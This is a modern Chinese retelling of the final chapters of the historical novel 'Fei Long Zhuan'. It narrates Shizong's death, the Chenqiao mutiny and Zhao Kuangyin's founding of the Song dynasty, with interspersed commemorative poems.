韩通听儿子说了这事,气得拍着桌子大叫:“主上都开口了,难道还比不上范质一句话吗?”他越想越气,立刻让心腹将士带着几百个家丁,埋伏在南街的必经之路上,准备等赵匡义娶亲的时候,半路抢亲。 可韩通没想到,他的计划早就被人泄露了,赵匡胤很快就知道了这事。他赶紧跟郑恩商量对策。 郑恩笑着说:“这有什么好怕的!咱们让娶亲的队伍带着新娘,从小路走,我来扮成新娘,跟他们玩玩!” 赵匡胤也笑了:“这主意好!” 于是,他们让随从抬着轿子,带着符玉瑶,悄悄地从僻静的小路回了赵家,让赵匡义和符玉瑶拜堂成亲。这边安排好了,郑恩就穿上新娘的衣服,坐在轿子里,前面让乐师吹吹打打,敲锣打鼓,灯火通明地从南街大路上走过来。 埋伏在路边的韩家士兵,见娶亲的队伍来了,立刻放了一声号炮,一拥而上,把乐师和随从都打散了,抢着把轿子抬回了韩府。 韩通一见轿子抬来了,高兴得不得了,亲自上前,掀开轿帘,想看看自己的“儿媳妇”。可轿帘一掀开,里面却走出个穿着嫁衣的郑恩,郑恩还故意捏着嗓子,高叫道:“韩兄,我来啦!快准备好酒,陪我喝几杯!” 韩通一看,顿时傻了眼,知道自己中了计,可也没办法,只好陪着笑脸说:“老弟要是不嫌弃,我这就让人备酒!” 郑恩见韩通服软了,也收起了玩笑,严肃地说:“韩兄,婚姻这事要看缘分,公子以后肯定能找到好媳妇,何必为了这事伤了和气呢?”说完,就告辞走了。 韩通气得浑身发抖,却又发作不得,只能把气憋在心里。第二天,他进宫把这事奏报给了世宗。世宗叹了口气:“匡义也是我的爱弟,这事你就别放在心上了。以后朝中要是有合适的姑娘,我再为你儿子做主,帮他选一门亲事。”为了安抚韩通,世宗还下旨,封韩通为侍卫亲军副指挥使。韩通只好谢恩退下。 可世宗的病却越来越重,吃不下饭,身体一天比一天虚弱。他知道自己撑不了多久了,就召范质等大臣进宫,托付后事:“太子还小,你们一定要尽心辅佐他。以前有个翰林学士叫王著,是我没当皇帝时的老朋友,要是我不行了,你们就任命他为宰相。” 范质等人连忙跪地受命,出宫后,私下议论起来:“王著天天喝酒,是个有名的酒鬼,怎么能当宰相呢?这事可不能说出去,免得误了国事。” 当天晚上,世宗躺在寝宫的床上,咽下了最后一口气。消息传出去后,朝野上下,不管是官员还是百姓,都忍不住叹息——世宗虽然后期沉迷享乐,但之前也做了不少好事,是个难得的好皇帝。后人写了首诗赞美他: 五代一共出了十二个君主,世宗最是英明神武。 出兵打仗任命将领,没人能敌;制定法律均分田地,不是为了虚名。 刻木农夫鼓励农业,销毁佛像造福百姓。 要是上天能多给世宗几年寿命,中原早就太平了。 世宗去世后,群臣在他的灵柩前,拥立梁王柴宗训登基,就是周恭帝。文武百官跪地朝拜,山呼万岁。随后,尊符皇后为太后,让她垂帘听政,辅佐小皇帝。朝廷还派兵部侍郎窦仪去南唐,把世宗去世的消息告诉南唐君主。 窦仪领了旨意,就出发了。当时正是冬天,天寒地冻,还下着雪。没过几天,窦仪就到了南唐,拜见了南唐君主。南唐君主想在走廊下接受诏书,窦仪连忙说:“我是奉了大周皇帝的旨意来的,怎么能不守礼节?要是陛下觉得下雪不方便,不如等天气好了再宣读诏书。” 南唐君主听了,只好在庭院里跪拜接诏,心里也很感慨。之后,他好好招待了窦仪,窦仪才告辞回国。 又过了几天,镇守镇定的官员送来急报,说河东的刘钧联合契丹,率领大军入侵大周,声势浩大,攻势凶猛,已经快到边境了。大臣们赶紧把这事奏报给符太后。 符太后一听,吓得脸色发白,连忙召集文武百官商议对策。范质上前奏道:“刘钧联合契丹,兵力强盛,朝中只有都点检赵匡胤能抵挡他们。” 符太后连忙点头:“就按你说的办!”立刻宣赵匡胤进宫,任命他为元帅,领兵抗击契丹。 赵匡胤奏道:“新君刚登基,年纪还小,朝中的文武大臣应该同心协力,守住京城。臣请求另外调遣澶州等地的将领,让他们领兵和臣一起出征,这样才能万无一失。” 符太后大喜,立刻下旨,调遣张光远、罗彦威、石守信等人,让他们领兵和赵匡胤会合,一起出征。 再说苗光义,自从之前在王府里用占卜的办法救了赵匡胤之后,就一直隐居在山里。如今听说世宗去世了,就来到京城。他抬头一看,只见天空中 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正在这时,赵普走了过来。众人赶紧把想拥立赵匡胤为帝的事告诉了他。赵普笑着说:“我正是来跟各位商议这事的!如今新君年幼,朝廷上下人心惶惶,赵点检威望高,天下人都归顺他,只要咱们回到汴京,就能安定天下。咱们今晚就做好准备,明天一早就动手。” 众人听了,都很高兴,各自回去整顿军队。到了四更天,将士们都聚集在陈桥驿的门口,等着赵匡胤起床,好举行拥立仪式。此时,赵匡胤还躺在营帐里睡觉,根本不知道将士们的计划。 天渐渐亮了,将士们拿着兵器,直接闯进了赵匡胤的营帐,高声喊道:“各位将领有话要说,愿意拥立赵点检为天子!” 赵匡胤被惊醒,赶紧披衣起床。还没等他问清楚怎么回事,将士们就拥到他跟前,石守信拿着一件黄色的龙袍,直接披在了赵匡胤身上,然后把他扶到椅子上,所有将士都跪在地上,高声呼喊“万岁”,声音传遍了整个驿馆。 赵匡胤又惊又急,大声道:“你们为了自己的富贵,让我背负不义之名!这种大事,怎么能这么仓促决定?” 石守信连忙说:“主上年幼,朝廷不稳,明公要是推辞,就算将士们相信您,天下人也不会相信啊!要是错过了这个机会,再想成事就难了!” 赵匡胤沉默着,没有说话。 赵匡义上前一步,劝道:“哥哥,这虽然是将士们的主意,可也是天意啊!您就别犹豫了。再说,要安定天下,就得让百姓像感激父母一样感激您。京城是天下的根本,您应该下令,让将士们进城后不许骚扰百姓,这才是长久之计。而且苗光义先生之前跟人说,天空中出现两个太阳,就是预示着哥哥您要登位啊!” 赵匡胤听了苗光义的话,像是突然醒悟过来——他想起之前苗光义给自己相面时说的话,果然句句应验,心里还暗暗后悔,之前几次对苗光义不够恭敬。他沉吟片刻,终于下定决心,对将士们下令:“太后和主上,是我曾经侍奉过的,不许冒犯;朝中大臣,都是我的同僚,不许欺负;朝廷的仓库,不许抢掠。听从命令的,重重有赏;不听命令的,一律处死!” 将士们齐声应道:“谨遵将军号令!” 赵匡胤把命令下达完毕,就率领大军,掉头回汴京。大军到了汴京城下,从仁和门进城。将士们果然遵守命令,秋毫无犯,百姓们见了,都很高兴,纷纷站在路边迎接。有人为此写诗: 七岁的小皇帝,守寡的太后,黄袍加身,不过是欺负他们势单力薄。 借着抵御契丹的名义掌握兵权,可曾真的见到契丹兵侵犯京城? 赵匡胤进了城,下令让将士们回到军营,自己则退到公署里,等待朝中大臣的反应。 当时,朝廷正在举行早朝,还没散朝。符太后听说陈桥驿兵变,赵匡胤带着大军回来了,吓得魂飞魄散,赶紧退进了后宫。 范质看着王溥,懊悔地说:“是我们提议让赵匡胤领兵出征,才导致他叛乱,这都是我们的罪过啊!” 正在这时,侍卫亲军副都指挥使韩通从宫里出来,急急忙忙地找到范质,大声道:“赵匡胤的军队刚进城,百姓还没完全归顺,我愿意率领禁军抗击他们!你们赶紧进宫,求太后下旨,昭告天下,肯定会有忠义之士起兵勤王,到时候就能一举擒住这些叛贼!” 范质点点头,赶紧进宫求太后下旨。韩通则回到府里,召集守御禁军和亲信将领,准备抗击赵匡胤的军队。 可没等韩通做好准备,禁军教头王彦升就带着人冲了进来,怒气冲冲地说:“天命已经归了赵点检,你还想自取灭亡吗?”说着,就下令手下的禁军捉拿韩通。 韩通来不及反抗,就被王彦升一刀砍了头。韩通的手下将士,还把他的妻子、小妾和小儿子都杀了,只有大儿子韩松侥幸逃脱,一路逃到了辽邦。有人为此写诗哀悼韩通: 忠心侍奉君主,只有韩通能做到,世宗在位时,这样的忠臣又有几个? 想阻止叛乱却没能成功,台阶前的鲜血,到现在还红得刺眼。 赵匡胤在公署里,听说城里乱了起来,赶紧下令禁止士兵扰民。很快,将士们把范质、王溥等大臣带到了赵匡胤面前。 范质看着赵匡胤,气得浑身发抖,大声斥责:“你是世宗的亲信大臣,世宗对你言听计从!如今你趁着国家有丧事,欺负孤儿寡母,图谋叛乱,将来到了地下,怎么有脸见世宗?你就不觉得惭愧吗?” 赵匡胤听了,眼里含着泪水,愧疚地说:“我蒙受世宗的厚恩,如今被将士们逼迫,才走到这一步,我心里也对不起天地,可我实在没办法啊!” 他的话还没说完,站在帐前的罗彦威就拔出剑,厉声喝道:“三军没有主帅,各位将领商议后,决定拥立赵点检为天子!谁再敢说反对的话,就别怪我不客气!” 王溥吓得脸色惨白,“扑通”一声跪在了地上。范质见大势已去,也只好无奈地跪了下来。赵匡胤赶紧上前,亲自把他们扶起来,用好话安慰他们。后人写了首诗,讥讽范质等人: 国家已经改朝换代,宋朝的江山已经建立,谁还能像伯夷、叔齐那样坚守气节? 一句话不投机就赶紧下跪投降,可惜了韩通,白白丢了性命。 范质等人只好陪着赵匡胤进宫,召集文武百官,让大家分两排站好。翰林院的官员捧着早就准备好的禅位诏书,让侍郎窦仪宣读。诏书里说: 上天养育百姓,为百姓设立君主。尧、舜两位帝王,把天下禅让给有德行的人;夏、商、周三位君王,顺应时势改朝换代,道理都是一样的。我年纪小,又遇到国家有难,人心已经背离,天命已经归了别人。 你归德节度使、殿前都点检赵匡胤,有圣人的资质,有神武的谋略。辅佐我朝高祖皇帝,功绩感动上天;侍奉世宗皇帝,功劳更是卓著。东征西讨,百姓都归顺你;天地鬼神,都保佑有德行的人;百姓的歌颂、天下的诉讼,都归向最仁爱的你。 顺应天意,顺从民心,像尧禅让给舜那样,把天下交给你。我卸下重担,做一个清闲的宾客。啊!一定要敬畏天命啊! 窦仪读完诏书,赵匡胤就面向北方,接受了禅让的旨意。随后,宰相上前,扶着赵匡胤登上崇元殿,为他戴上天子的皇冠,穿上天子的龙袍。文武百官跪地朝拜,高呼“万岁”,赵匡胤正式登基,就是宋太祖。 太祖下旨,封周恭帝柴宗训为郑王,他的子孙可以世袭这个爵位;符太后迁居到西宫居住。随后,太祖大赦天下,改国号为“宋”,改年号为“建隆元年”——至此,后周的统治正式结束了。 古代有个叫顾充的人,在《历朝捷录》里这样评价后周和世宗: 世宗作为柴家的后代,继承太祖的皇位后,编撰《通礼》,修正乐书,制定大乐,设立科举科目,让文化教育变得兴盛;打败后汉的军队,检阅各路军队,平定长江以北的地区,讨伐契丹,武功更是显赫。 王环因为不投降而受到奖赏,刘仁赡因为坚守气节而受到褒奖,张美因为只会讨好而被疏远,冯道因为没有气节而被抛弃。世宗的威武之名,真的能激励人心,让整个时代都为之振奋。近处的人敬畏他,远处的人归顺他,都是有原因的。 雕刻农夫的木像鼓励农业,是重视根本;禁止僧人尼姑出家,是抑制末流;亲自审理囚犯的案件,是体恤百姓;救济淮南的饥荒,是帮助穷人;设立两税的期限,是方便百姓。他关心百姓,专注于治国之道,好的政策和想法,多得数不清,确实是五代十二个君主里最好的君主。 可为什么后周灭亡得这么快呢?难道是帝王自有天命,上天要生出圣人来做百姓的君主,就像太阳月亮出来后,小火苗就不能再发光了吗? 太祖登基后,追尊父亲赵弘殷为宣祖昭武皇帝,尊母亲杜氏为皇太后。当天,太祖在殿下面向母亲跪拜,群臣都上前道贺,可杜太后却皱着眉头,一点也不高兴。 旁边的侍从上前问道:“臣听说‘母以子贵’,如今您的儿子当了皇帝,您反而不高兴,这是为什么呢?” 杜太后叹了口气,说:“我听说当君主很难啊!天子坐在百姓之上,要是治理得好,这个位置才尊贵;要是治理不好,就算想做个普通百姓都不行——这就是我担心的原因啊!” 太祖听了,连忙磕头道:“儿子一定记住母亲的教诲!” 随后,太祖立贺氏为皇后,韩氏为偏宫,杜氏为西宫。 过了几天,太祖下旨,加封范质、王溥为中书门下平章事;任命弟弟赵匡义为殿前都虞候;任命赵普为枢密直阁学士。 太祖还论功行赏,任命赵彦溥、庆寿为龙捷右厢都指挥使,同时兼任节度使;任命石守信、张光远为侍卫亲军副都指挥使;任命郑恩、高怀德为列侯,同时兼任节度使;其他将领如董龙、董虎、李通、周霸等人,都被任命为参将。旨意下达后,大臣们都跪地谢恩。 当时,华山有个隐士叫陈抟,骑着驴经过汴京,听说赵匡胤登基当了皇帝,忍不住拍手大笑,还吟了一首诗: 夹马营里紫气冲天,属猪的人注定要穿上黄袍。 天下从此不会再有战乱,我可以在山里安稳地睡大觉了。 陈抟吟完诗,就骑着驴回华山了。 太祖还想着要善待朝中大臣,又想起韩通是为了保卫后周而死,就下旨,追赠韩通为中书令,表彰他的忠诚。同时,太祖也追究了王彦升擅杀将领的罪过——虽然因为建国初期,暂时宽恕了王彦升,但还是罢免了他的官职,终身不再任用。后人写了首诗感叹: 擅杀大臣的罪过不能饶恕,当初为什么还要给赵匡胤披上黄袍? 忠臣已经死了,再也无法挽回,他的后代子孙,也没能得到应有的褒奖。 从此之后,天下安定下来,太祖作为仁明的君主,让百姓过上了太平日子。《飞龙传》的故事,到这里就结束了。可世事变化无常,难以预料。想要知道天下之后由谁继承,要看《北宋金枪》这本书,才能知道后续的情况。后人写了首诗,总结这段历史: 五代时期,战乱不断,百姓从未放下过武器,乱臣贼子在中原地区横行霸道。 百姓生活困苦,上天也心生不满,胡虏入侵,世道混乱不堪。 都点检赵匡胤,是天命注定的真君主,陈桥驿的兵变,开启了太平岁月。